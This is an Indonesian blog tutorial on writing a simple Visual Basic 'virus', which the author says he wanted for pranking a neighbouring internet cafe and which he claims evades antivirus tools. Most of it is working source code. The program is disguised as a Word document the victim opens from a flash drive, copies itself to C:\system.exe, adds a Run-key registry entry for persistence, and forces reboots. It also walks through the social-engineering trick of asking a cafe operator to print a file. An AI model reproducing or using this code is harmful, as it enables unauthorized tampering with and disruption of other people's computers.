Tutorial Visual Basic kali ini akan membahas tentang Menciptakan Virus dengan Visual Basic dengan bahasa Pemrograman Visual Basic Sederhana. Ini memang sederhana namun cocok untuk pembelajaran bagi kalian yang belum tahu cara kerja Virus dan Bagaimana cara Menghapus Virus.Kangen rasanya sudah lama tidak memposting Artikel tentang Visual Basic. Sebenernya ini adalah program buatan teman saya serta artikel panduan yang saya Cari di Mbah Google. Ini adalah hasil karya yang sudah di praktikkan langsung, jadi saya post saja, mungkin lebih berguna buat kalian yang ingin belajar jauh tentang Visual Basic. Sebenarnya ini program yang sudah saya cari-cari buat ngerjain warnet di depan Rumah saya. Buat orang awam memang sedikit "Kepingin Sekali Membuat Nya", soalnya program ini tidak terdeteksi oleh Anti Virus apapun, baik lokal maupun Interlokal.
Sistem kerja program ini sama halnya seperti Program Virus yang biasa kita jumpai. Menyerang bagian registrasi dan melumpuhkan sistem komputer target. Akan tetapi setelah saya lihat bentuk source code program tersebut, dengan menggunakan Koneksi Antar Form, dan penyerangan kedalam registry editor.
Pengaktifan program ini tergolong unik, karena tidak otomatis running ketika dicolokan Flasdisk, melainkan user secara aktif mengkliknya.
Jadi begini pengaktifannya. Dia datang kesebuah warnet tujuannya, untuk mencoba n membuat kesal Operator tersebut. Dia berpura-pura ingin melakukan Print Microsoft Word yang sudah dia siapkan didalam Flashdisk nyaa. Didalam Flashdisk dia terdapat 2 Microsoft Word berbeda nama sesuai dengan direktorynya dan compille Program Visual Basic Virus ini. Setelah dia memberikan Flashdisk, dia harus memastikan bahwa Flashdisk dia berada pada direktory apa, entah ada di "G" atau "F", yang pasti Flashdisk direktori tidak akan jauh-jauh pada hal tersebut. Dia akan memilih sebuah Word sesuai dengan direktorinya. Setelah Program Microsoft Word aktif, maka siVirus secara Aktif juga masuk dengan pengaktifan program Word yang telah dieksekusi. Setelah selesai dengan Print-print dummy tersebut, dia melepaskan Flashdisk yang menandakan delay waktu aktif virus dimulai. Seusai pergi, Virus aktif, Restart, PC Crash, dan Tampil gambar.
sekian dulu curhatnya.. wkwkwk....Berniat nggak buat Virus nya.?
Berikut ini listing code dan cara pembuatannya hinga sampai kalian membuatnya secara utuh, dan mohon maaf saya tidak akan mengshere berupa downloadannya, takut disalah gunakan soalnya.
1. Buatlah sebuah Progress bar didalam 1 form baru, bernama "antivirus". Didalam form ini kalian sisipkan 1 buah progress bar, untuk memberikan delay waktu pengaktifan program tersebut dan juga 1 buah timer. Tujuan ini dimaksudkan untuk kalian melakukan pengkebalan terhadap program yang telah kalian buat sendiri. Malu donk buat virus tapi tidak bisa mengatasinya. Masukan listing code ini pada timer yang telah kita buat pada form antivirus.
Private Sub Timer1_Timer()
If ProgressBar1.Value = 100 Then
Unload Me
MsgBox "T-Virus was Removed, your system will be reboot", vbInformation, "Congrat"
Shell ("shutdown.exe -r -t 01")
Else
ProgressBar1.Value = Val(ProgressBar1.Value) + Val(1)
End If
End Sub
2. Adapun maksud dari listing ini adalah ketika si progress bar berjalan hingga bernilai "100", maka form tidak akan tampil, sehingga menampilkan pesan seperti ini "T-Virus was Removed, your system will be reboot" yang menandakan program sudah aktif dan secara otomatis dengan menggunakan "Shell" untuk memanggil program bawaan windows yaitu "Shutdown.exe" yang penggunaan program tersebut dilakukan apabila sistem windows sedang mengalami crash atau hang pada pc, akan tetapi kali ini sistem tersebut saya gunakan sebagi bentuk restaran dengan tenggat waktu 1 detik.
* Masukan listing code ini pada Form_load()
Private Sub Form_Load()
Kill "C:\system.exe"
Dim x As Double
x = Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 0 /f", vbNormalFocus)
BlockInput False
End Sub
Adapun maksud diatas adalah melakukan pendeletan langsung, atau saya sering katakan adalah serangan langsung terhadap program kita yang nantinya akan bertengger di direktory "C:" dengan nama program kita adalah nantinya "System.exe".
Setelahnya program kita akan secara otomatis masuk kedalam regedit (registry editor) yang mana akan menambakan value pada "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 0 /f", vbNormalFocus". Maksud dari "d 0" adalah value penonaktifan pada "DisableTaskMgr". Dan "BlockInput False" untuk pengaktifan keyboard kita.
* Masukan ini terlebih dahulu di bagian atas listing program tadi.
Option Explicit
Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long
Selesailah kita membuat anti Virus atas program kita nantinya. Sekarang kita akan berlanjut kepada pembuatan program utama kita, masih minat?okay lanjutkan. Sebernya kita sudah membuat virus itu sendiri tanpa kalian sadari, Berdasarkan anti virus yang telah kalian buat, itulah Program Virus Sederhana nya.
Berikut ini contoh form yang akan kita buat misalkan Flashdisk kita pada direktory "F":
* Buatlah sebuah form kosong, dan masukan listing code ini didalam Form_load
Private Sub Form_Load()
Set wrd1 = CreateObject("Word.Application")
Set wrd = GetObject(, "Word.Application")
wrd.Visible = True
wrd.Documents.Open ("F:\T-V\Makalah.doc")
wrd.Activate
Dim mByte() As Byte
Open "F:\T-V\system.exe" For Binary As #1
Open "C:\system.exe" For Binary As #2
ReDim mByte(0 To LOF(1))
Get #1, , mByte()
Put #2, , mByte()
Close #1
Close #2
Dim Startup
Set Startup = CreateObject("WScript.Shell")
Startup.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\T-Virus", "C:\system.exe"
End Sub
Maksud diatas adalah seperti yang sudah saya ceritakan, program ini berjalan setelah ms word aktif dimana word yang telah dibuka pada direktory "F:\T-V\Makalah.doc". Program akan secara aktif mengcopy kedalam dir "C:" yang akan membuat secara paksa file bernama "System.exe". Melakukan pengaktifan setelah dia restart dan menyusupkan key pada Regedit untuk auto run start up "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\T-Virus", "C:\system.exe"
Berikut ini contoh form yang akan kita buat misalkan FD (Flash Disk) kita pada direktory "G":
* Buatlah sebuah form kosong, dan masukan listing code ini didalam Form_load
Private Sub Form_Load()
Set wrd1 = CreateObject("Word.Application")
Set wrd = GetObject(, "Word.Application")
wrd.Visible = True
wrd.Documents.Open ("G:\T-V\Makalah.doc")
wrd.Activate
Dim mByte() As Byte
Open "G:\T-V\system.exe" For Binary As #1
Open "C:\system.exe" For Binary As #2
ReDim mByte(0 To LOF(1))
Get #1, , mByte()
Put #2, , mByte()
Close #1
Close #2
Dim Startup
Set Startup = CreateObject("WScript.Shell")
Startup.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\T-Virus", "C:\system.exe"
End Sub
Untuk penjelasannya, sama seperti halnya diatas.
Jika link Menciptakan Virus dengan Visual Basic berguna untuk kalian atau kalian suka dengan postingan ini, berikan komentar dibawah postingan ini sertakan dengan share di facebook kalian dengan men-like nya yooo. Jangan lupa untuk menshare ilmu kalian ya, karena ilmu yang bermanfaat akan menambah pahala buat kalian sendiri.
Sahabat Blogger sekalian, bagikan Informasi menarik ini dan jangan Lupa menuliskan segores Komentar anda, Karena Blog ini DOFOLLOW. Insya Allah Komentator akan mendapatkan sesuatu yang lebih baik.